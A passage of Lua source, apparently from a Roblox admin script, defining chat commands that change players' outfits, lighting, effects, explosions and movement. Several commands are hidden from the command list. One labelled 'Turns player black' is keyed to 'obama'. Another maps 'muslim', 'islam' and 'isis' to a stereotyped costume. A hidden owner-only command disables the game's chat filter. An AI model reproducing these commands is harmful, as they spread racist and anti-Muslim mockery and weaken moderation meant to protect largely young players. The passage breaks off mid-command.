  7265. local Players = STRING:Scan(Arguments[1], Speaker)
  7266. for _,Player in pairs(Players) do
  7267. if Player.Character and Player:FindFirstChild("PlayerGui") then
  7268. local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
  7269. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
  7270. local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
  7271. local Stop = false
  7272. coroutine.wrap(function()
  7273. repeat
  7274. Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
  7275. wait(0.1)
  7276. until not SG or not SG.Parent
  7277. end)()
  7278. CORE:ExecuteResource("Drug", Player.Character)
  7279. end
  7280. end
  7281. end};
  7282.  
  7283. [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
  7284. local Players = STRING:Scan(Arguments[1], Speaker)
  7285. for _,Player in pairs(Players) do
  7286. if Player:FindFirstChild("PlayerGui") then
  7287. local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
  7288. wait() CORE:RestoreCamera(Player)
  7289. end
  7290. end
  7291. end};
  7292.  
  7293. [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
  7294. local AbuseMode = false
  7295. if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
  7296. MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
  7297. if Speaker:FindFirstChild("Backpack") then
  7298. CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
  7299. end
  7300. end)
  7301. end, Http = true};
  7302.  
  7303. [{"searchaccessory", "searchaccessories", "searchacs", "searcha", "searchhat", "searchhats", "searchh"}] = {"string(type) string(query)", "Searches the catalog for the accessory string(query) with the type of string(type)", 1, "Member", false, function(Speaker, Rank, Arguments)
  7304. local Type = "all"
  7305. local Query = string.lower(Arguments[1])
  7306. local Arguments = STRING:GetSplit(Query, 2, Settings.Bet)
  7307. if #Arguments == 2 and Assets.AccessoryTypes[Arguments[1]] then
  7308. Type = Arguments[1]
  7309. Query = Arguments[2]
  7310. end
  7311. MARKET:ShowSearch(Speaker, 11, Query, function(ID)
  7312. if Speaker.Character then
  7313. CORE:Insert(ID, Speaker.Character, true, {"Accoutrement"})
  7314. end
  7315. end, MARKET:AccessoryToSubcategory(Type))
  7316. end, Http = true};
  7317.  
  7318. [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
  7319. MARKET:ShowSearch(Speaker, 11, Arguments[1], function(ID)
  7320. if Speaker.Character then
  7321. CORE:GivePackage(Speaker, ID)
  7322. end
  7323. end, 11)
  7324. end, Http = false};
  7325.  
  7326. [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7327. local Players = STRING:Scan(Arguments[1], Speaker)
  7328. for _,Player in pairs(Players) do
  7329. CORE:GivePackage(Player)
  7330. end
  7331. end};
  7332.  
  7333. [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7334. local Players = STRING:Scan(Arguments[1], Speaker)
  7335. for _,Player in pairs(Players) do
  7336. CORE:GivePackage(Player, Arguments[2])
  7337. end
  7338. end, Http = false};
  7339.  
  7340. [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
  7341. local Players = STRING:Scan(Arguments[1], Speaker)
  7342. for _,Player in pairs(Players) do
  7343. local Stats = Player:FindFirstChild("leaderstats")
  7344. if Stats ~= nil then
  7345. for _,Stat in pairs(Stats:GetChildren()) do
  7346. if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
  7347. ypcall(function() Stat.Value = Arguments[3] end)
  7348. end
  7349. end
  7350. end
  7351. end
  7352. end};
  7353.  
  7354. [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7355. local ID = tonumber(Arguments[2])
  7356. local Players = STRING:Scan(Arguments[1], Speaker)
  7357. for _,Player in pairs(Players) do
  7358. for _,Player in pairs(Players) do
  7359. if Player.Character ~= nil then
  7360. local Obj = Player.Character:FindFirstChild("Shirt")
  7361. if Obj then
  7362. Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7363. else
  7364. Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7365. end
  7366. coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
  7367. end
  7368. end
  7369. end
  7370. end};
  7371.  
  7372. [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7373. local ID = tonumber(Arguments[2])
  7374. local Players = STRING:Scan(Arguments[1], Speaker)
  7375. for _,Player in pairs(Players) do
  7376. for _,Player in pairs(Players) do
  7377. if Player.Character ~= nil then
  7378. local Obj = Player.Character:FindFirstChild("Pants")
  7379. if Obj then
  7380. Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7381. else
  7382. Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7383. end
  7384. coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
  7385. end
  7386. end
  7387. end
  7388. end};
  7389.  
  7390. [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7391. local ID = tonumber(Arguments[2])
  7392. local Players = STRING:Scan(Arguments[1], Speaker)
  7393. for _,Player in pairs(Players) do
  7394. for _,Player in pairs(Players) do
  7395. if Player.Character ~= nil then
  7396. if Player.Character:FindFirstChild("Torso") then
  7397. local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
  7398. local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
  7399. if Obj1 then
  7400. Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7401. else
  7402. Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7403. end
  7404. if Obj2 then
  7405. Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7406. else
  7407. Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
  7408. end
  7409. coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
  7410. coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
  7411. end
  7412. end
  7413. end
  7414. end
  7415. end};
  7416.  
  7417. [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
  7418. local Players = STRING:Scan(Arguments[1], Speaker)
  7419. for _,Player in pairs(Players) do
  7420. CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
  7421. end
  7422. end};
  7423.  
  7424. [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
  7425. if CORE:InAdminGroup(Speaker) then
  7426. local Players = STRING:Scan(Arguments[1], Speaker)
  7427. for _,Player in pairs(Players) do
  7428. if Player:FindFirstChild("Backpack") then
  7429. local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
  7430. local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
  7431. local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
  7432. local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
  7433. CORE:ExecuteResource("CookieTool", Tool)
  7434. end
  7435. end
  7436. end
  7437. end};
  7438.  
  7439. [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
  7440. if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
  7441. CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
  7442. end
  7443. end};
  7444.  
  7445. [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
  7446. if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
  7447. local Model = CORE:Insert(tonumber(Arguments[1]), Server.RS)
  7448. Model:MakeJoints()
  7449. for i = 1,math.random(10,20) do
  7450. Model.Name = Model.Name..string.char(math.random(97,122))
  7451. end
  7452. if Model:GetChildren()[1] then
  7453. table.insert(Objects, Model)
  7454. CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
  7455. end
  7456. end
  7457. end};
  7458.  
  7459. [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7460. local ID = tonumber(Arguments[2])
  7461. local Players = STRING:Scan(Arguments[1], Speaker)
  7462. for _,Player in pairs(Players) do
  7463. if Player.Character then
  7464. CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
  7465. end
  7466. end
  7467. end};
  7468.  
  7469. [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
  7470. local Players = STRING:Scan(Arguments[1], Speaker)
  7471. for _,Player in pairs(Players) do
  7472. if Player.Character then
  7473. local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
  7474. if StopAnim then StopAnim:Destroy() end
  7475. end
  7476. end
  7477. end};
  7478.  
  7479. [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
  7480. if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
  7481. Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
  7482. end
  7483. end};
  7484.  
  7485. [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
  7486. if tonumber(Arguments[1]) then
  7487. Server.Lighting.Brightness = tonumber(Arguments[1])
  7488. end
  7489. end};
  7490.  
  7491. [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
  7492. local Players = STRING:Scan(Arguments[1], Speaker)
  7493. for _,Player in pairs(Players) do
  7494. GUI:CoreGui(Player, "PlayerList", true)
  7495. end
  7496. end};
  7497.  
  7498. [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
  7499. local Players = STRING:Scan(Arguments[1], Speaker)
  7500. for _,Player in pairs(Players) do
  7501. local Players = STRING:Scan(Arguments[1], Speaker)
  7502. GUI:CoreGui(Player, "PlayerList", false)
  7503. end
  7504. end};
  7505.  
  7506. [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
  7507. GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
  7508. end, Hidden = true};
  7509.  
  7510. [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
  7511. local Players = STRING:Scan(Arguments[1], Speaker)
  7512. for _,Player in pairs(Players) do
  7513. CORE:ChangeCharacter(Player, 1337, false, Speaker)
  7514. end
  7515. end, Hidden = true};
  7516.  
  7517. [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
  7518. local Players = STRING:Scan(Arguments[1], Speaker)
  7519. for _,Player in pairs(Players) do
  7520. if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
  7521. ypcall(function() Player.Character.Torso.roblox:Destroy() end)
  7522. Player:ClearCharacterAppearance()
  7523. CORE:Insert(12436480, Player.Character, true)
  7524. Player.Character.Head.face.Texture = "rbxassetid://110287880"
  7525. Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
  7526. Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
  7527. end
  7528. end
  7529. end, Hidden = true};
  7530.  
  7531. [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
  7532. local Players = STRING:Scan(Arguments[1], Speaker)
  7533. for _,Player in pairs(Players) do
  7534. CORE:ChangeCharacter(Player, 0, false, Speaker)
  7535. end
  7536. end};
  7537.  
  7538. [{"nofilter", "unfilter", "defilter"}] = {"", "Removes current filter", 0, "Owner", false, function(Speaker, Rank, Arguments)
  7539. ShouldFilter = false
  7540. end, Hidden = true};
  7541.  
  7542. [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
  7543. local Bet = Arguments[1]
  7544. if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
  7545. GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
  7546. elseif #Bet > 5 then
  7547. GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
  7548. else
  7549. local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
  7550. if Answer == "Yes" then
  7551. local OldBet = Settings.Bet
  7552. CORE:ChangeBet(Bet)
  7553. GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
  7554. end
  7555. end
  7556. end};
  7557.  
  7558. [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
  7559. local Prefix = Arguments[1]
  7560. if #Prefix > 5 then
  7561. GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
  7562. else
  7563. local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
  7564. if Answer == "Yes" then
  7565. local OldPrefix = Settings.Prefix
  7566. Settings.Prefix = Prefix
  7567. GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
  7568. end
  7569. end
  7570. end};
  7571.  
  7572. [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
  7573. GUI:CommandBar(Speaker)
  7574. end};
  7575.  
  7576. [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
  7577. GUI:CommandBar(Speaker)
  7578. PermCommandBars[Speaker.Name] = true
  7579. end};
  7580.  
  7581. [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
  7582. PermCommandBars[Speaker.Name] = nil
  7583. end};
  7584.  
  7585. [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
  7586. local Players = STRING:Scan(Arguments[1], Speaker)
  7587. for _,Player in pairs(Players) do
  7588. PermCommandBars[Player.Name] = nil
  7589. end
  7590. end};
  7591.  
  7592. [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
  7593. CORE:CreateFigure("Dummy", nil, true, Speaker)
  7594. end};
  7595.  
  7596. [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
  7597. CORE:CreateFigure(Arguments[1], nil, true, Speaker)
  7598. end};
  7599.  
  7600. [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7601. local Players = STRING:Scan(Arguments[1], Speaker)
  7602. for _,Player in pairs(Players) do
  7603. CORE:ClonePlayer(Player)
  7604. end
  7605. end};
  7606.  
  7607. [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
  7608. local Players = STRING:Scan(Arguments[1], Speaker)
  7609. for _,Player in pairs(Players) do
  7610. CORE:ClonePlayer(Player, Arguments[2])
  7611. end
  7612. end};
  7613.  
  7614. [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
  7615. for _,Obj in pairs(Objects) do
  7616. if Obj then Obj:Destroy() end
  7617. end
  7618. for Name,Jail in pairs(Jails) do
  7619. if not game.Players:FindFirstChild(Name) then
  7620. Jail:Destroy()
  7621. Jails[Name] = nil
  7622. end
  7623. end
  7624. Objects = {}
  7625. end};
  7626.  
  7627. [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
  7628. for _,Obj in pairs(Server.Workspace:GetChildren()) do
  7629. if Obj:IsA("Accoutrement") or Obj:IsA("Tool") then
  7630. Obj:Destroy()
  7631. end
  7632. end
  7633. end};
  7634.  
  7635. [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7636. local Players = STRING:Scan(Arguments[1], Speaker)
  7637. for _,Player in pairs(Players) do
  7638. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7639. local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
  7640. end
  7641. end
  7642. end};
  7643.  
  7644. [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
  7645. local Players = STRING:Scan(Arguments[1], Speaker)
  7646. for _,Player in pairs(Players) do
  7647. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7648. local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
  7649. end
  7650. end
  7651. end};
  7652.  
  7653. [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7654. local Players = STRING:Scan(Arguments[1], Speaker)
  7655. for _,Player in pairs(Players) do
  7656. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7657. local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
  7658. end
  7659. end
  7660. end};
  7661.  
  7662. [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7663. local Players = STRING:Scan(Arguments[1], Speaker)
  7664. for _,Player in pairs(Players) do
  7665. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7666. for _,Get in pairs(Player.Character.Torso:GetChildren()) do
  7667. if Get:IsA("Sparkles") then
  7668. Get:Destroy()
  7669. end
  7670. end
  7671. end
  7672. end
  7673. end};
  7674.  
  7675. [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
  7676. local Players = STRING:Scan(Arguments[1], Speaker)
  7677. for _,Player in pairs(Players) do
  7678. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7679. for _,Get in pairs(Player.Character.Torso:GetChildren()) do
  7680. if Get:IsA("Fire") then
  7681. Get:Destroy()
  7682. end
  7683. end
  7684. end
  7685. end
  7686. end};
  7687.  
  7688. [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
  7689. local Players = STRING:Scan(Arguments[1], Speaker)
  7690. for _,Player in pairs(Players) do
  7691. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7692. for _,Get in pairs(Player.Character.Torso:GetChildren()) do
  7693. if Get:IsA("Smoke") then
  7694. Get:Destroy()
  7695. end
  7696. end
  7697. end
  7698. end
  7699. end};
  7700.  
  7701. [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7702. local Players = STRING:Scan(Arguments[1], Speaker)
  7703. for _,Player in pairs(Players) do
  7704. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7705. SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
  7706. local Boom = Instance.new("Explosion", Workspace)
  7707. Boom.Position = Player.Character.Torso.Position
  7708. end
  7709. end
  7710. end};
  7711.  
  7712. [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7713. local Players = STRING:Scan(Arguments[1], Speaker)
  7714. for _,Player in pairs(Players) do
  7715. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7716. coroutine.wrap(function() for i = 1,50 do
  7717. local Boom = Instance.new("Explosion", Workspace)
  7718. Boom.Position = Player.Character.Torso.Position
  7719. wait()
  7720. end end)()
  7721. coroutine.wrap(function() for i = 1,5 do
  7722. SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
  7723. end end)()
  7724. end
  7725. end
  7726. end};
  7727.  
  7728. [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
  7729. local Players = STRING:Scan(Arguments[1], Speaker)
  7730. for _,Player in pairs(Players) do
  7731. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7732. local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
  7733. Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
  7734. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
  7735. end
  7736. end
  7737. end};
  7738.  
  7739. [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
  7740. local Players = STRING:Scan(Arguments[1], Speaker)
  7741. for _,Player in pairs(Players) do
  7742. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7743. local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
  7744. end
  7745. end
  7746. end};
  7747.  
  7748. [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
  7749. local Players = STRING:Scan(Arguments[1], Speaker)
  7750. for _,Player in pairs(Players) do
  7751. if Player.Character then
  7752. Player.Character.Parent = Server.Lighting
  7753. end
  7754. end
  7755. end};
  7756.  
  7757. [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7758. local Players = STRING:Scan(Arguments[1], Speaker)
  7759. for _,Player in pairs(Players) do
  7760. if Player.Character then
  7761. Player.Character.Parent = Server.Workspace
  7762. Player.Character:MakeJoints()
  7763. end
  7764. end
  7765. end};
  7766.  
  7767. [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
  7768. local Players = STRING:Scan(Arguments[1], Speaker)
  7769. for _,Player in pairs(Players) do
  7770. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7771. Player.Character.Humanoid.PlatformStand = true
  7772. end
  7773. end
  7774. end};
  7775.  
  7776. [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7777. local Players = STRING:Scan(Arguments[1], Speaker)
  7778. for _,Player in pairs(Players) do
  7779. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7780. Player.Character.Humanoid.PlatformStand = false
  7781. end
  7782. end
  7783. end};
  7784.  
  7785. [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
  7786. local Players = STRING:Scan(Arguments[1], Speaker)
  7787. for _,Player in pairs(Players) do
  7788. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7789. Player.Character.Humanoid.Jump = true
  7790. end
  7791. end
  7792. end};
  7793.  
  7794. [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
  7795. local Players = STRING:Scan(Arguments[1], Speaker)
  7796. for _,Player in pairs(Players) do
  7797. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7798. Player.Character.Humanoid.Sit = true
  7799. end
  7800. end
  7801. end};
  7802.  
  7803. [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
  7804. local Players = STRING:Scan(Arguments[1], Speaker)
  7805. for _,Player in pairs(Players) do
  7806. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7807. Player.Character.Humanoid.Sit = false
  7808. end
  7809. end
  7810. end};
  7811.  
  7812. [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
  7813. local Players = STRING:Scan(Arguments[1], Speaker)
  7814. for _,Player in pairs(Players) do
  7815. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7816. local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
  7817. end
  7818. end
  7819. end};
  7820.  
  7821. [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
  7822. local Players = STRING:Scan(Arguments[1], Speaker)
  7823. for _,Player in pairs(Players) do
  7824. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7825. local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
  7826. end
  7827. end
  7828. end};
  7829.  
  7830. [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
  7831. GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
  7832. end};
  7833.  
  7834. [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
  7835. local Color = "Blue"
  7836. local String = Arguments[2]
  7837. local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
  7838. if #ChatSplit >= 2 then
  7839. if string.lower(ChatSplit[1]) == "green" then
  7840. Color = "Green"
  7841. String = ChatSplit[2]
  7842. elseif string.lower(ChatSplit[1]) == "red" then
  7843. Color = "Red"
  7844. String = ChatSplit[2]
  7845. end
  7846. end
  7847. local Players = STRING:Scan(Arguments[1], Speaker)
  7848. for _,Player in pairs(Players) do
  7849. if Player.Character and Player.Character:FindFirstChild("Head") then
  7850. game:GetService("Chat"):Chat(Player.Character.Head, STRING:DetermineFilter(String, Speaker, Player), Color)
  7851. end
  7852. end
  7853. end};
  7854.  
  7855. [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
  7856. local Players = STRING:Scan(Arguments[1], Speaker)
